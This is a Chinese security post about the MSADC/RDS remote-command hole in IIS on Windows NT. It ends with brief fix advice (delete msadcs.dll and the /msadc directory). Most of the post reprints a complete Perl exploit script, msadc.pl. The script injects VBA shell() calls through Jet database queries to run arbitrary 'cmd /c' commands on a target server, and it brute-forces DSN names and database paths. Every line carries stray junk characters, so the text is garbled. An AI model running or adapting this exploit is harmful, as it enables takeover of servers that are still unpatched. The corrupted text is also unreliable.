IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K]j0_~3s M z1G5xcl 涉及程序：
?V}j`r8|\4 Microsoft NT server
_UT$,0u_i ^2$ lJ 描述：
qNm$Fx 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-jn W Z5. UN%V g:= 详细：
^S)cjH`P 如果你没有时间读详细内容的话，就删除:
Ov UI@,Ef c:\Program Files\Common Files\System\Msadc\msadcs.dll
'yV?*a 有关的安全问题就没有了。
b8% C *r7
1~l
I 8 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
^-rfvc sf]s",t~J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\EKU*5\Hp> 关于利用ODBC远程漏洞的描述，请参看:
549jWG #fJ] o_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rQE yD /;tPNp{!dw 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
wWSd TLX http://www.microsoft.com/security/bulletins/MS99-025faq.asp ZxlAk+<] aB]m* ~ 这里不再论述。
<)\y#N 7lS#f1E 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
G NS`.fS {@<J _ A /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&f7fK|} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
F e.t/amS/ "dROb}szn
bu=? N #将下面这段保存为txt文件，然后: "perl -x 文件名"
@^; j)%F} rz "txN #!perl
w|CZ 7|6 #
M.nvB) # MSADC/RDS 'usage' (aka exploit) script
RGn!{ = #
kKPi:G52F # by rain.forest.puppy
W`"uu.~f #
eL4NB$ Fb # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"wlt> SU # beta test and find errors!
Ov#=]t5 I+!:K| ^ use Socket; use Getopt::Std;
?H_ LX;r getopts("e:vd:h:XR", \%args);
>yXN,5d[ 2 P]L9'N{Y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
<H0R&l\ ` '\t$nU if (!defined $args{h} && !defined $args{R}) {
=1P6Vk print qq~
h Xb%;GL Usage: msadc.pl -h <host> { -d <delay> -X -v }
4*aZ>R2hO -h <host> = host you want to scan (ip or domain)
4J?t _) -d <seconds> = delay between calls, default 1 second
$2<d<Um~z -X = dump Index Server path table, if available
Qj3a_p$)P -v = verbose
u7xDau(c -e = external dictionary file for step 5
"+zCS|
50
A^bbid Or a -R will resume a command session
T \ CCF 8scc%t7 ~; exit;}
YPzU-:3 O:{U^K:* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
DAwqo.m if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
gPu2G/Y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?x^z]N|P if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~V/?H!r'{} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
2kv7UU#q2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
6G}+gqb X DfV~!bY if (!defined $args{R}){ $ret = &has_msadc;
H"Klj_<dH0 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
tX!n sm1 *xE,sj+( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
hoT/KWD, . "cmd /c ";
.))v0 $in=<STDIN>; chomp $in;
+525 {Tj $command="cmd /c " . $in ;
G&;j6<h l be e5 if (defined $args{R}) {&load; exit;}
LTJc,3\, % aUsOB-RV print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
8 vuCc= &try_btcustmr;
$5L0.$ Tj OEPa |rb print "\nStep 2: Trying to make our own DSN...";
-k(CJ5 H9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2"fO6!hh ^'p|!`: print "\nStep 3: Trying known DSNs...";
kQaSbpNmH &known_dsn;
Mc-)OtmG[ |v[ Rp=?] print "\nStep 4: Trying known .mdbs...";
Qu< Bu)` &known_mdb;
T6pLoaKu ~P h\ Sbp if (defined $args{e}){
0aoHKeP print "\nStep 5: Trying dictionary of DSN names...";
)HD`O~M> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`:O\dN>ON ;f,c't@w print "Sorry Charley...maybe next time?\n";
JbO ~n
)%x exit;
*_ +7ni Gn) y>
AN ##############################################################################
=&!HwOnp tA$)cg +. sub sendraw { # ripped and modded from whisker
<`!P CuR sleep($delay); # it's a DoS on the server! At least on mine...
Qm8) 4?FZ my ($pstr)=@_;
`VQb-V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-
}!H3]tr die("Socket problems\n");
O)kg B rB if(connect(S,pack "SnA4x8",2,80,$target)){
Y~)T select(S); $|=1;
\@}#Gez print $pstr; my @in=<S>;
OG3/-K 8R select(STDOUT); close(S);
b dJ+@r return @in;
DFO7uw1 } else { die("Can't connect...\n"); }}
]APvp.Tw: ^v9|%^ug ##############################################################################
YpUp@/" $T<}y_nHl sub make_header { # make the HTTP request
5 efxEt>U my $msadc=<<EOT
e4I^!5)N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
O+=vEp( User-Agent: ACTIVEDATA
$ 6F)R| Host: $ip
xsjO)))f Content-Length: $clen
pPVRsXy Connection: Keep-Alive
Jdy <w&S 1Uf*^WW4 ADCClientVersion:01.06
IMnP[WA ! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M[~{Vd _ nP;Fx --!ADM!ROX!YOUR!WORLD!
!3oKmL5 Content-Type: application/x-varg
$KjTa#[RX7 Content-Length: $reqlen
mL~z~w*s m-T~fJ EOT
2X-l{n;> ; $msadc=~s/\n/\r\n/g;
FFEfp.T1M return $msadc;}
hNXBVIL<& ED$DSz)x ##############################################################################
BIf^~jAER% ~#}Dx
:HH sub make_req { # make the RDS request
<DH*~tLp2 my ($switch, $p1, $p2)=@_;
i`)!X: j my $req=""; my $t1, $t2, $query, $dsn;
xjdw'v+qZo G6K
< if ($switch==1){ # this is the btcustmr.mdb query
JNWg|Qt $query="Select * from Customers where City=" . make_shell();
K?#] ("De6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,pK| SL $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k:A|'NK~ "0jJh^v k elsif ($switch==2){ # this is general make table query
kW6%32 $query="create table AZZ (B int, C varchar(10))";
v&g0ta @ $dsn="$p1";}
oUx[+Gnv ^IgY d*5 elsif ($switch==3){ # this is general exploit table query
jnu Y{0(& $query="select * from AZZ where C=" . make_shell();
@\(v X ] $dsn="$p1";}
?IX!+>.H Fk^3a'/4KJ elsif ($switch==4){ # attempt to hork file info from index server
lEPAP|~u w $query="select path from scope()";
92dF`sv $dsn="Provider=MSIDXS;";}
3Dm8[o$Z \'19BAm' elsif ($switch==5){ # bad query
vMSW$Bx ; $query="select";
K:yr-#(P/ $dsn="$p1";}
pz_e =xr LT+3q%W.UC $t1= make_unicode($query);
dMl+ko $t2= make_unicode($dsn);
YEYY}/YX $req = "\x02\x00\x03\x00";
SC#sax4N!= $req.= "\x08\x00" . pack ("S1", length($t1));
oJ*1>7[ J $req.= "\x00\x00" . $t1 ;
*! :QdWLq $req.= "\x08\x00" . pack ("S1", length($t2));
-%IcYzyA $req.= "\x00\x00" . $t2 ;
OySy6I N]q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_-c K{ return $req;}
, 7|; k2 <
/p 8r ##############################################################################
Mo|wME# M TUp%FJXA| sub make_shell { # this makes the shell() statement
3Rl,GWK return "'|shell(\"$command\")|'";}
ned2lC&'d> t~K%.|' 0 ##############################################################################
#~?kYCtC) eI PG#A sub make_unicode { # quick little function to convert to unicode
:ipoD%@ my ($in)=@_; my $out;
m4ApHM2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-E&e1u,Mi return $out;}
ul5|.C 9w;?- ##############################################################################
5 b #QYu s[3fqdLP& sub rdo_success { # checks for RDO return success (this is kludge)
,[48Mspp my (@in) = @_; my $base=content_start(@in);
/jD-\,:L} if($in[$base]=~/multipart\/mixed/){
i4Z4xTn return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Mxz,wfaH> return 0;}
L x|',6S d-!<C7O} ##############################################################################
=N.!k Vkl ^!: "Q3 sub make_dsn { # this makes a DSN for us
FT\?:wpKa my @drives=("c","d","e","f");
h:qHR]
8dZ print "\nMaking DSN: ";
E dt}",s7 foreach $drive (@drives) {
$v;dV@tB print "$drive: ";
P-z`c\Rt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
8IY19>4'5J "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yOHXY & . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3"
Vd==oK~ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
e (\I_ return 0 if $2 eq "404"; # not found/doesn't exist
'Am- vhpm if($2 eq "200") {
;q#]-^ foreach $line (@results) {
fu\s`W6f& return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^nDal':* } return 0;}
6`nR5 fh gp< =G md ##############################################################################
Jj"HpK> [ v ahoSc;sw sub verify_exists {
eG] a zt my ($page)=@_;
wODvc9p}] my @results=sendraw("GET $page HTTP/1.0\n\n");
hCc0s Rp return $results[0];}
O+ .*lo QocQowz ##############################################################################
-$4kBYC l+ -6E K#!+ sub try_btcustmr {
66ohmP@04Z my @drives=("c","d","e","f");
^7XAw:
? my @dirs=("winnt","winnt35","winnt351","win","windows");
}Zl"9A#K ;[5r7
jHU foreach $dir (@dirs) {
k
'z at3#f print "$dir -> "; # fun status so you can see progress
,-#GX{! foreach $drive (@drives) {
Up ?=m^ print "$drive: "; # ditto
C B}BQd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;El <%{( $reqlenlen=length( "$reqlen" );
H7IW"UkBR $clen= 206 + $reqlenlen + $reqlen;
6}&^=^- f~\Xg7< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
6M><(1fT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
xks?y.wA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zNtq"T [ VuWib+fT ##############################################################################
}C~]=Z f$D@*33ft sub odbc_error {
e@
oWwhpE my (@in)=@_; my $base;
TgaYt\"i[ my $base = content_start(@in);
<f%/px%1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
-0|K,k $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W);W.:F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cC6z,0`3 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eqFvrESN~= return $in[$base+4].$in[$base+5].$in[$base+6];}
ePA;:8)_j print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G(OFr2M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
5H.Db $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%x2b0L\g b(T@~P/ ##############################################################################
X4I]9 t\ ZgF/;8!~V- sub verbose {
76MsrOv55 my ($in)=@_;
1_3?R }$Wl return if !$verbose;
LZV}U* print STDOUT "\n$in\n";}
YBylyVZ &va*IR ##############################################################################
(+MC<J/i f)Y sub save {
A'g,:8Ou my ($p1, $p2, $p3, $p4)=@_;
#]zhZW4 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W8*
2;F] print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
BJIQ
zn3 close OUT;}
0zV 4`y W78o*z[O ##############################################################################
wgZrrq/ W| $^ $ECDOTB sub load {
HDj$"pS my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U"x~Jb3]O open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$c9=mjwH @p=<IN>; close(IN);
)> $^wT $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
kI M
C~Z $target= inet_aton($ip) || die("inet_aton problems");
9.-47|-9C print "Resuming to $ip ...";
ak2dn]]D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
d
Uz<1^L if($p[1]==1) {
4<Kgmy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
F@<MT<TRf $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X%`KYo% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
vf_OQ4'G, if (rdo_success(@results)){print "Success!\n";}
t?.\|2 else { print "failed\n"; verbose(odbc_error(@results));}}
AfE%a-;: elsif ($p[1]==3){
b7v dk if(run_query("$p[3]")){
G+C} <S} print "Success!\n";} else { print "failed\n"; }}
n_; S2KM elsif ($p[1]==4){
'z ](xG< if(run_query($drvst . "$p[3]")){
y< ud('D print "Success!\n"; } else { print "failed\n"; }}
msG3 ~@q exit;}
j 0?>w{e J0qXtr%h\ ##############################################################################
V/&o]b 8r^j P.V sub create_table {
r#I>_Utsy my ($in)=@_;
2fP~;\AP $reqlen=length( make_req(2,$in,"") ) - 28;
J!<#Nc $reqlenlen=length( "$reqlen" );
"OJr*B $clen= 206 + $reqlenlen + $reqlen;
_#(s2.h~J my @results=sendraw(make_header() . make_req(2,$in,""));
Y eO-gY [b return 1 if rdo_success(@results);
j@SYXKL~ my $temp= odbc_error(@results); verbose($temp);
4tn jXP8 return 1 if $temp=~/Table 'AZZ' already exists/;
@#CF".fuN> return 0;}
bqNLkw# kxy]vH6m ##############################################################################
id4]|jb bQV("~# sub known_dsn {
2$)mC9 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
< 4$YO-:E my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
X#7}c5 ^Y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
PvuAg(? "banner", "banners", "ads", "ADCDemo", "ADCTest");
D+hB[*7 Fs 19w_tS g foreach $dSn (@dsns) {
|Cq8% print ".";
;%!tf{ Si next if (!is_access("DSN=$dSn"));
$2is3; h if(create_table("DSN=$dSn")){
wO!%
q[ print "$dSn successful\n";
>F|qb*Tm7 if(run_query("DSN=$dSn")){
xfes_v"" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ff&R0v print "Something's borked. Use verbose next time\n";}}} print "\n";}
)O -cw7 > 26 }u4W$ ##############################################################################
j $0zD:ppW g~|y$T sub is_access {
R9q0,yQW my ($in)=@_;
59~FpjJ $reqlen=length( make_req(5,$in,"") ) - 28;
r
hZQQOQ $reqlenlen=length( "$reqlen" );
c-`37. J $clen= 206 + $reqlenlen + $reqlen;
mCK],TOA: my @results=sendraw(make_header() . make_req(5,$in,""));
M b~~A5 my $temp= odbc_error(@results);
D2V v\f verbose($temp); return 1 if ($temp=~/Microsoft Access/);
pd 7O`.3 return 0;}
Ri[S<GOMii e@yx}:]h ##############################################################################
A$N+9n\ n{z8Ao% sub run_query {
iA&oLu[y3 my ($in)=@_;
!^]q0x $reqlen=length( make_req(3,$in,"") ) - 28;
+#9xA6,AE $reqlenlen=length( "$reqlen" );
F/xCG n P- $clen= 206 + $reqlenlen + $reqlen;
l_ZO^E~D_ my @results=sendraw(make_header() . make_req(3,$in,""));
>^ ;(c4C return 1 if rdo_success(@results);
{9 Db9K^ my $temp= odbc_error(@results); verbose($temp);
*afejjW[ return 0;}
rI *!"PL 5'62ulwMP= ##############################################################################
+R9%~Z.= Vv2{^ !aZ sub known_mdb {
e7lo!( > # my @drives=("c","d","e","f","g");
.@ Hmg my @dirs=("winnt","winnt35","winnt351","win","windows");
a" ^#!G<+ my $dir, $drive, $mdb;
i<J^:7 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
i'Wcf1I-= 89db5Dx # this is sparse, because I don't know of many
L%k67> my @sysmdbs=( "\\catroot\\icatalog.mdb",
98h :X % "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
R/ Tj^lM "\\system32\\certmdb.mdb",
cB _pyX9Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
y~x#pC*w uvR0TIF4 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gj[z ka0_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
fJvr+4i4k "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
- *r [ "\\cfusion\\cfapps\\security\\realm_.mdb",
(I>HWRH "\\cfusion\\cfapps\\security\\data\\realm.mdb",
prqyoCfq "\\cfusion\\database\\cfexamples.mdb",
>eEnQ}Y "\\cfusion\\database\\cfsnippets.mdb",
F9F" F "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ZMP?'0h= "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3Hy%SN( "\\cfusion\\brighttiger\\database\\cleam.mdb",
L,E-z_<p "\\cfusion\\database\\smpolicy.mdb",
5 d> nIKW "\\cfusion\\database\cypress.mdb",
@J kui "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
E7k-pquvE "\\website\\cgi-win\\dbsample.mdb",
5Ws5X_?d "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%N7gT*B: "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
eSJAPU(D ); #these are just
[y_yPOv foreach $drive (@drives) {
r^fxyN2V foreach $dir (@dirs){
h\ /^Aa0 foreach $mdb (@sysmdbs) {
/L)?> tg print ".";
qwL 0~I if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Nz3zsP$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
sWp{Y. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f%v Hx, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=_K%$y* } else { print "Something's borked. Use verbose next time\n"; }}}}}
"L ^TT2 0W;q!H[G foreach $drive (@drives) {
*iPs4Es- foreach $mdb (@mdbs) {
,: c :6Y^ print ".";
gkSGRshf if(create_table($drv . $drive . $dir . $mdb)){
-6AOK<kfI print "\n" . $drive . $dir . $mdb . " successful\n";
9cl{hdP{ if(run_query($drv . $drive . $dir . $mdb)){
Z@<q/2).| print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}m9S(Wal } else { print "Something's borked. Use verbose next time\n"; }}}}
f:n] Exsy }
qK<aZ%V FrgW7`s[A ##############################################################################
YN_X0+b3C @QvfN>T sub hork_idx {
32M6EEmPG print "\nAttempting to dump Index Server tables...\n";
un.G6| S print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=%Q\*xaR.W $reqlen=length( make_req(4,"","") ) - 28;
zNNzsT8na $reqlenlen=length( "$reqlen" );
eL>K2Jxq $clen= 206 + $reqlenlen + $reqlen;
s'R~ r my @results=sendraw2(make_header() . make_req(4,"",""));
bMSD /L if (rdo_success(@results)){
8W(<q|t my $max=@results; my $c; my %d;
w g$D@E7 for($c=19; $c<$max; $c++){
ac2}3 $u $results[$c]=~s/\x00//g;
N;e;4,_ n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
rdORNlK& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
s 4MN VT $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'hxs((['\ $d{"$1$2"}="";}
;5&k /CB1 foreach $c (keys %d){ print "$c\n"; }
'=KuJ0`nE9 } else {print "Index server doesn't seem to be installed.\n"; }}
Wpiv1GZ%c8 HR/k{"8W4Q ##############################################################################
L#@l(8. 6 lB{Ao?| sub dsn_dict {
{KF 7j63 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<1ztj #B while(<IN>){
SS >:Sw $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?q+8 /2 next if (!is_access("DSN=$dSn"));
:7HVBH if(create_table("DSN=$dSn")){
~Da
>{zHt print "$dSn successful\n";
'?&B5C if(run_query("DSN=$dSn")){
'e+-,CGdY\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{LR#(q$1 print "Something's borked. Use verbose next time\n";}}}
6 |B a print "\n"; close(IN);}
>qSO,$ z'5;f; ##############################################################################
^4n2
-DvG Ws2prh^e( sub sendraw2 { # ripped and modded from whisker
9OrA9r sleep($delay); # it's a DoS on the server! At least on mine...
FE$M[^1_ my ($pstr)=@_;
9$B)h rJo
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-~QlHp&SY die("Socket problems\n");
H}u)%qY+~ if(connect(S,pack "SnA4x8",2,80,$target)){
F?yh23&_4 print "Connected. Getting data";
e["Z! D_H open(OUT,">raw.out"); my @in;
GE/IaLo select(S); $|=1; print $pstr;
jUV#HT while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$bF`PGR_ close(OUT); select(STDOUT); close(S); return @in;
fS;m+ D!j@ } else { die("Can't connect...\n"); }}
avYh\xZ n?TO!5RZK ##############################################################################
; Xnk+ f ~n' Ki+' sub content_start { # this will take in the server headers
RW| UQY# my (@in)=@_; my $c;
mI{CM:
: for ($c=1;$c<500;$c++) {
\t&n
jMWpZ if($in[$c] =~/^\x0d\x0a/){
g7E`;&f if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
O Ng < else { return $c+1; }}}
~m,mvRS return -1;} # it should never get here actually
\? 5[R R JC Cx 5 ##############################################################################
ND)M3qp2( I(iGs I sub funky {
i ]h R7g< my (@in)=@_; my $error=odbc_error(@in);
=CD:.FG. if($error=~/ADO could not find the specified provider/){
A;/Xt print "\nServer returned an ADO miscofiguration message\nAborting.\n";
bi4^ zaCEE exit;}
ijR-?nrR if($error=~/A Handler is required/){
ss|6_H = print "\nServer has custom handler filters (they most likely are patched)\n";
VC_3 ll]vr exit;}
;&7qw69k if($error=~/specified Handler has denied Access/){
=6"hj,[Q print "\nServer has custom handler filters (they most likely are patched)\n";
ynOc~TN exit;}}
JsAb q YQfZiz}Fv ##############################################################################
LiHXWi{s r`mzsO-' sub has_msadc {
3V8j>&
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]8 q%bsl+ my $base=content_start(@results);
]ci|$@V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
(<5'ceF )X return 0;}
B8BY3~}] ] % ZjD ########################
$AL|d[[T[ IAt+S-q0 Z;dw n~Tw 解决方案：
rsq'60 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
H7cRW B 2、移除web 目录: /msadc
